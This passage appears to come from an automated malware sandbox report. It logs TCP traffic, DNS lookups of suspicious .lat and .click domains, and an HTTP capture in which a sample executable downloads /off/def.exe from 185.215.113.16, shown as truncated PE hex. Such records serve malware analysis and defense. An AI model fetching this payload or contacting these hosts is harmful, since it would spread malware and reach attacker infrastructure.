Dec 19, 2024 07:57:37.353760004 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.353771925 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.353799105 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.353809118 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.353830099 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.353862047 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.354674101 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.354686022 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.354697943 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.354715109 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.354734898 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.354763031 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.354798079 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.355576992 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.355614901 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.355623007 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.355633020 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.355654001 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.355669975 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.355693102 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.355729103 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.356463909 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.356507063 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.356544971 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.356556892 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.356585026 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.356606007 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.356642962 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.356673956 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.357394934 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.357434988 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.357439995 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.357451916 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.357470989 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.357489109 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.357559919 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.357592106 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.358318090 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.358357906 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.358361959 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.358375072 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.358396053 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.358411074 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.358468056 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.358500004 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.359217882 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.359261990 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.359282017 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.359296083 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.359318972 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.359328032 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.359355927 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.359388113 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.360161066 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.360203028 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.360205889 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.360214949 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.360234022 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.360251904 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.360316992 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.360361099 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.361119986 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.361160040 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.361162901 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.361172915 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.361197948 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.361208916 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.530133009 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.530158997 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.530179024 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.530252934 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.530289888 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.530432940 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.530432940 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.530499935 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.530541897 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.530570984 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.530584097 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.530605078 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.530626059 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.530644894 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.530680895 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.531415939 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.531460047 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.531470060 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.531472921 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.531493902 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.531517029 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.531541109 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.531574965 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.532536983 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.532586098 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.532676935 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.532716990 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.532813072 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.532850981 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.533010960 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.533047915 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.533251047 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.533298969 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.533317089 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.533330917 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.533354998 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.533375025 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.533452988 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.533493042 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.534152985 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.534198999 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.534210920 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.534224033 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.534245968 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.534265995 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.534313917 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.534348011 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.535099030 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.535147905 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.535161972 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.535175085 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.535197973 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.535218954 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.535228968 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.535270929 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.536029100 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.536078930 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.536086082 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.536101103 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.536122084 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.536133051 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.536139965 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.536164999 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.536926031 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.536967993 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.536993027 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.537007093 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.537028074 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.537046909 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.537118912 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.537154913 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.537837029 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.537882090 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.537889004 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.537903070 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.537924051 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.537944078 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.538018942 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.538054943 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.538789988 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.538820982 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.538832903 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.538840055 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.538861036 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.538881063 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.538909912 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.538944006 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.539921045 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.539932966 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.539946079 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.539961100 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.539968014 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.539985895 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.540015936 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.540635109 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.540656090 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.540668964 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.540678024 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.540693998 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.540713072 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.540765047 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.540831089 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.541532993 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.541554928 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.541568041 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.541569948 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.541585922 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.541603088 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.541692972 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.541728973 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.542464972 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.542501926 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.542515039 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.542527914 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.542546988 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.542565107 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.542632103 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.542665005 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.543370962 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.543410063 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.543421030 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.543435097 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.543452978 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.543471098 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.543554068 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.543589115 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.544272900 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.544311047 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.544346094 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.544359922 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.544380903 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.544399023 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.544418097 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.544450045 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.545216084 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.545255899 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.545265913 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.545279026 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.545299053 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.545315981 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.545389891 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.545425892 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.546133041 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.546170950 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.546184063 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.546197891 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.546216965 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.546233892 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.546307087 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.546341896 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.547122955 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.547161102 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.547166109 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.547173977 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.547194958 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.547211885 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.547291040 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.547327995 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.548039913 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.548052073 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.548065901 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.548079014 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.548098087 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.548122883 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.548156977 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.548926115 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.548964024 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.548968077 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.548976898 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.548995972 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.549010038 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.549034119 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.549069881 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:37.549827099 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.549874067 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:37.549875975 CET	49801	80	192.168.2.4	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 19, 2024 07:56:19.446546078 CET	192.168.2.4	1.1.1.1	0xf9bf	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 19, 2024 07:56:19.591402054 CET	192.168.2.4	1.1.1.1	0xf60f	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false
Dec 19, 2024 07:57:08.091412067 CET	192.168.2.4	1.1.1.1	0xef7f	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 07:57:08.091633081 CET	192.168.2.4	1.1.1.1	0x49b1	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 19, 2024 07:58:16.494453907 CET	192.168.2.4	1.1.1.1	0x9f18	Standard query (0)	pancakedipyps.click	A (IP address)	IN (0x0001)	false
Dec 19, 2024 07:58:23.281368971 CET	192.168.2.4	1.1.1.1	0x287c	Standard query (0)	treehoneyi.click	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 19, 2024 07:56:19.587272882 CET	1.1.1.1	192.168.2.4	0xf9bf	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 19, 2024 07:56:19.732403994 CET	1.1.1.1	192.168.2.4	0xf60f	No error (0)	grannyejh.lat		172.67.179.109	A (IP address)	IN (0x0001)	false
Dec 19, 2024 07:56:19.732403994 CET	1.1.1.1	192.168.2.4	0xf60f	No error (0)	grannyejh.lat		104.21.64.80	A (IP address)	IN (0x0001)	false
Dec 19, 2024 07:57:08.230535030 CET	1.1.1.1	192.168.2.4	0xef7f	No error (0)	www.google.com		172.217.19.228	A (IP address)	IN (0x0001)	false
Dec 19, 2024 07:57:08.231817007 CET	1.1.1.1	192.168.2.4	0x49b1	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 19, 2024 07:58:16.817780018 CET	1.1.1.1	192.168.2.4	0x9f18	No error (0)	pancakedipyps.click		172.67.209.202	A (IP address)	IN (0x0001)	false
Dec 19, 2024 07:58:16.817780018 CET	1.1.1.1	192.168.2.4	0x9f18	No error (0)	pancakedipyps.click		104.21.23.76	A (IP address)	IN (0x0001)	false
Dec 19, 2024 07:58:23.581168890 CET	1.1.1.1	192.168.2.4	0x287c	No error (0)	treehoneyi.click		172.67.180.113	A (IP address)	IN (0x0001)	false
Dec 19, 2024 07:58:23.581168890 CET	1.1.1.1	192.168.2.4	0x287c	No error (0)	treehoneyi.click		104.21.91.209	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49744	185.215.113.16	80	6360	C:\Users\user\Desktop\AWrVzd6XpC.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 07:56:43.273531914 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 19, 2024 07:56:44.605779886 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 06:56:43 GMT Content-Type: application/octet-stream Content-Length: 1733632 Last-Modified: Thu, 19 Dec 2024 06:18:47 GMT Connection: keep-alive ETag: "6763bac7-1a7400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 45 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 45 00 00 04 00 00 48 8f 1a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$E `@ @EH`Ui`D @ @.rsrcD`2@.idata 6@ 8@pwjairst :@lcewkiss DL@.taggant@E"R@
Dec 19, 2024 07:56:44.605838060 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 07:56:44.605874062 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 07:56:44.605909109 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 07:56:44.605945110 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 07:56:44.605998039 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 07:56:44.606034040 CET	776	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 07:56:44.606069088 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
